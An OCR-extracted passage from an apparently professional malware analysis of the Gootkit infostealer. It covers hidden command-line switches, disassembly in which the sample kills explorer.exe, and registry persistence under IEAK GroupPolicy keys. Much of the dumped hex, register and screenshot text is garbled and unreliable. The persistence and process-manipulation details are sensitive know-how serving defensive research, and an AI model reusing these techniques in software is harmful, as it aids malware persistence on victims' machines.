B4 Durnp 1 B4y Dump 2 B4 Dump 3 B Dump 4 B Dump S @ watch 1 lx=] Lacals :5’ Skruck

Address | Hex ASCIT s
0022020 (40 5A 20 00|02 00 00 y
050232030 (B& 00 OO0 OO o0 oo o0
05039040 (00 00 00 00|00 0o oo
05032050 (a0 00 00 00|00 0o oo
05032060 | 0E 1F BA OE |00 B4 02
Q022070 (g0 72 20 FO|72 &F &7
05039080 (|74 20 &2 &5 |z0 72 75 GE|20 &9 6E 20|44 4F 53 20|T be run in DOS
05032090 | &0 &F &4 &5 (2E 00O 0D 04|24 00 OO0 00|00 00 00 O0|mode....%.......
OSD3504A0 |24 1F EE 04 |6E FE &5 57 |6E FE 85 GEF |6E FE S5 BF | ¥.E.r~.Wh~. Wn~,
OSD390B0 |28 2F &4 57 |6A FE 85 57 |FO DE 42 57|67 FE 35 57| [fdWj~.wWBREWI~.
05D390C0 |63 2C &4 SF|26 FE 85 57|63 2 BA BF |57 FE 85 &7 | C,dwWoi-.WC ,Zh~,
05039000 |63 2C &% 57|64 FF 85 57|67 06 06 57 |6 FE 85 57| C,ewd..wg..wl~,

OCOIanCn C TCc oC Crldc T oC Cxl12 oF c¢ ool T G CTly., Gk, Ul guiD., )

Cnmmandﬂbp ReglpenFevExd

The final payload is a DLL file that is bigger than 5MB because it contains the Node.js engine which is probably
needed to run some embedded javascript files. At this time we decided to stop our analysis and leave the rest to

future work.
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8.Additional findings

While debugging, we noticed that Gootkit does not check only if a parameter called “ --vwxyz” was passed to the

command line. Also it checks if other 3 parameters:
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e --reinstall

EAX
EBX
ECX
EDX
EBP
1
ESI
EDI

00000014
00000000
0000006C
02FA5390
04C1F994
04C1F950
00000005
02FASA98

® --service

EAX 00000014
EBX 00000000
ECX 00000000
EDX 0341BCES8
EBP O50FFG684
ESP 050FF640
ESI 00000006
EDI 03429A98
e -test

EAX 000000095
EBX 00000000
ECX 00000000
EDX 03428998
EBP O50FFG684
ESP OSOFF64C
ESI 00000005
EDI 03429A98
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I'II
L"-=reinstall”

L" --service”

L"-test"
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Pretty strange thing. We haven’t found the malware to actively use these arguments yet. However, stepping

through code we discovered that:

1 - the “--reinstall” command leaded the execution to some curious code. First, the malware used

“CreateToolHelp32Snapshot” to retrieve a list of the current running processes.

Then, it iterated through the retrieved list via “ Process32First

handle to the active “explorer.exe” instance.

” and “Process32NextW” with the aim to get a

- FF 15 88 91 A5 00 Eall dword ptr ds:[<&CreateToolhelp32sn| ~| show FPU
. §9 45 FC mov mrg ptr ss:legp—al eax
. €7 45 CC 00 00 00 00| mov rd ptr ss:|ebp-34),0 00000C
- 8D 8D BC FC FF FF lea ecx,dword ptr ss:[lebp-344) E:ﬁ 000000;3
. 51 push ecx ecx:L"explorer.exe” i 1 =
. 8B 55 FC mov edx,dword ptr ss:[ebp-all ECX  Os3ersss L explorer.exe”
. 52 ush edx edx:L"explorer. exe” NN L"explorer.exe
. FF 15 98 91 AS 00 dword ptr ds:[<&Process3zFirsti>] EBP  0S38FC78
85 CO tTest eax,eax EsP 0538F514 &L "explorer.exe"
~ OF 84 98 00 00 00 je gootkit_2_stage.A3DE34 ESI  0D0A3DC20 gootkit_2_stage.
8B 45 C8 mov eax,dword ptr ss: EDI 0538F934
3B B85 C4 FC FF FF cmp eax,dword ptr s |
. v T4 74 je gootkit_2_stage.A3DE1B EIP  OOA3DDBS gootkit_2_stage.
. 8D 8D EO FC FF FF Tea ecx,dword ptr ss:[ebp-320§ .
. 51 ush ecx ecx:L"explorer.exe" 00000
- 8D 95 EB FE FF FF ?ea edx,dword ptr ss:[Jebp-118]) g ;E!:LSGSPF y AFZiG
. 52 ush edx edx:L"explorer.exe"
—>e FF 15 AC 92 AS 00 dword ptr ds:[<&StrCmpIw-] |
. 85 CO test eax,eax (e
e v 75 5C jne gootkit_z_stage.A3DE1E Default (stdeall)
. €7 45 C4 00 00 00 00|mov dword ptr ss:|ebp-3Clj,¢ 1: [esp] O53BFB60 L"explorer.exe”
. 8B 85 C4 FC FF FF mov_eax,dword ptr ss: 2 Eaﬂpﬂ] 0538F958 L"explorer.exe"

At this point it killed “explorer.exe”. The following image shows the process list before the “TerminateProcess”

command.

h ¥ Breakpoints = Memory Map | call Stack =7 SEH %] Saipt| =—
- Test eax,eax Processes  Services Network Disk
-4 <4 0 00 00 0| 1ne g::::';tr 5 s b Name PID ASLR  Integrity CPU I/Ototal... Privateb..
f._ €4 FC FF FF mov eax,dword ptr ss:ilfebp-33C) ) . 1244 80kB
push eax Memory Compression Syster
push o
g oy =il [ Interrupts 0.39 0
. 5 dword ptr d-.=[doml’rocus>} (0] esrss.exe 392 ASLR  System 1.54 MB
. 0 mov dword pt ebp-10§, e .
. FO 00 cmp dword pt ebp-10] ,a w 1] wininit.exe 460 ASLR  System 1.2 MB
L] je kit_2_stage. I.ZBDEJ.S :
. o ,“:""m‘ e [T O R )%m 580 ASLR  System 3.36 MB
. push ecx L sstem g
. Fo mov edx,dword ptr ss:|[lebp-100 m:msd:“\:! N E ﬁt: f Tg:g
. ush edx font o5t exe ow .
. F8 90 20 01 dword ptr ds:[<&GetExitCodeProcess: = 168 ASLR 005 162 ME
- [} test eax,eax CSTSs.exe Systen
C & gootkit_2_stage.128DE1L i
01, 5 €4 03 01 00 0O ];mp dword ptr ss:febp-3cl, 102 = | winlogon.exe 528 ASLR  System 224MB
2{‘“"" IS 13 o0 oo oo| S SO ‘-312:;1} [&] fontdrvhost.exe 700 ASLR  Low 2.61 MB
28 moV  dwor e p
01380805 A 00 =i 1 [ dwn.exe 906 ASLR  System 071 43.29 M8
L 0 L] mov_eax,dword ptr ss:febp-108 ~ ' explorer.exe 3497 ASIR  Medium 013 22.76 MB
Uus| eax - -
FF 15 68 91 20 03 h dword ptr ds:i[<aTerminateProcess>]|" i
fases Ny A erainat LI B WinSCP.exe 2400 ASLR  Medium 0.15 4B/s  16.29MB
51 ush ecx
FF 15 3C 91 7D 01 dword ptr df'[ﬁ]nse"nl‘d'lo] . == == = P
80 95 BC FC FF FF Tea edx,dword p :[febp-344] [ gootkit_2 stage.exe
52 push edx
=Sk e ord Pt el CPUUsage: 7.57%  Physical memory: 966.57 MB (47.21%) Processes: 54
FF 15 90 91 2D 01 dword ptr ds:[<&Process32Nextws] AEITH
B5 CO test eax,eax
~ OF 85 68 FF FF FF ine gootkit_2_stage.12BDD3C v
>
I_[_]—

168 <gootkit_2_stage.&TerminateProcess>]=<kernel32. TerminateProcess>

sotkit_2_stage.exe:SDEOB #D20B

esp] 00000210

: [esp+4] 00000000

3: [esp+8] 0128DC20 goo
esp+C] 0128DC20 goo
esp+10] 003A0043

After having executed that command, we found that a new instance of the malware spawned as a child of

“explorer.exe”.
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What happened? We performed some tests and it seems that “ explorer.exe” was killed and then automatically
restarted by “winlogon.exe”. Therefore “explorer.exe” accessed the keys involved in the persistence mechanism

previously explained:

3 xplorerexe 3 egOpenKey HKCU\Software\Microsofff IEAK\GroupPolicy\PendingGPOs
[0:55:... mexplorerexe 3676 ﬁﬁeg@uew‘u’... HKCU\Software\Microsoft |EAK\GroupPolicy\PendingGPOs\Path1
|0:55.... mexplorerexe 3676 ﬁﬁeg@uery‘u’... HKCIU\Software\Microsoft |IEAK\GroupPolicy\PendingGPOs\Section

2 - the “ --service” command did not change the flow of execution with the exception of creating a new
environment variable called “USERNAME_REQUIRED” and set it to “TRUE”.

Eventually we found that the final stage checks if the aforementioned variable exists.

push eax edx: "USERNAME_REQUIRED"

call dword ptr ds:[<&SetEmvironmentvariavariable di ambiente per --se
Tea ecx,dword ptr ss:[[ebp-154]) [ebp-154]: " TRUE"

call gootkit_2_stage.A3Z910

Tea ecx,dword ptr ss:|[ebp-153] [ebp-158] : "USERNAME_REQUIRED"

call oootkit 2 staae.A3Z990

3 - the “ -test” command just terminate the process. Indeed it’s a test.

9.Conclusions

We explored some of the functionalities of one of the most widespread Infostealers of these days, revealing new

and old tricks that is using to remain undetected as much time as possible.

Certego is actively monitoring every day threats to improve our detection and response methods, continuously

increasing the effectiveness of the incident response workflow.
PS: Let us know if you liked this story and feel free to tell us how we can improve it!
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